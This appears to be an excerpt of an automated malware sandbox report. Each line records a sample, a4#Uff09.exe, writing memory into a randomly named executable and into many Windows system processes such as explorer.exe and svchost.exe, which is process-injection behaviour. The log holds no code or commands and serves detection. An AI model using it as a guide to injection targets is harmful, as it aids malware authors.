                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2840000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2850000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2650000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 26A0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2890000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 28A0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 500000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 510000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: DD0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: DE0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 28B0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2900000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2CF0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2D00000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: F00000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 29F0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2AE0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2AF0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 6D0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 720000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1470000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1480000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2AE0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2B30000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1430000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1440000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2870000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 28C0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 21D0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2220000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: C20000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: C30000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2D90000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2DE0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 10A0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 10B0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: A60000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: A70000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2EE0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2F40000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2BA0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2BF0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2D10000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2E60000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: A70000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2600000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 4F0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 500000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1230000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1240000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 9E0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: AE0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\dwm.exe base: 20000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\sihost.exe base: 3C0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: 20000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: 990000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\ctfmon.exe base: AC0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\explorer.exe base: F20000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: BE0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: CB0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 8D0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: EE0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 9D0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 960000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\smartscreen.exe base: 80000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\ApplicationFrameHost.exe base: 20000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 110000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 130000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: C50000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 2A0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\conhost.exe base: AC0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\conhost.exe base: A00000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\dllhost.exe base: 1F0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: 260000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: DC0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 9F0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: AF0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\dwm.exe base: 30000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\sihost.exe base: 3D0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: 30000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: 9A0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\ctfmon.exe base: AD0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\explorer.exe base: F40000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: BF0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: CC0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 8E0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: EF0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 9E0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 970000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\smartscreen.exe base: 90000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\ApplicationFrameHost.exe base: 30000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 120000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 140000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: C60000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 2B0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\conhost.exe base: AD0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\conhost.exe base: A10000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\dllhost.exe base: 200000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: 270000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: DD0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: A00000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: B00000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\dwm.exe base: 40000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\sihost.exe base: 3E0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: 40000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: 9B0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\ctfmon.exe base: AE0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\explorer.exe base: F50000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: C00000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: CD0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 8F0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F00000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 9F0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 980000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\smartscreen.exe base: A0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\ApplicationFrameHost.exe base: 40000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 130000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 150000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: C70000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 2C0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\conhost.exe base: AE0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\conhost.exe base: A20000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\dllhost.exe base: 210000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: 280000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: DE0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: A10000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: B10000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\dwm.exe base: 50000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\sihost.exe base: 3F0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: 50000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: 9C0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\ctfmon.exe base: AF0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\explorer.exe base: F60000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: C10000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: CE0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 900000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F10000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: A00000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 990000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\smartscreen.exe base: B0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\ApplicationFrameHost.exe base: 50000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 140000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 160000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: C80000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 2D0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\conhost.exe base: AF0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\conhost.exe base: A30000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\dllhost.exe base: 220000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: 290000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: DF0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: A20000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: B20000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\dwm.exe base: 60000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\sihost.exe base: 400000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: 60000Jump to behavior
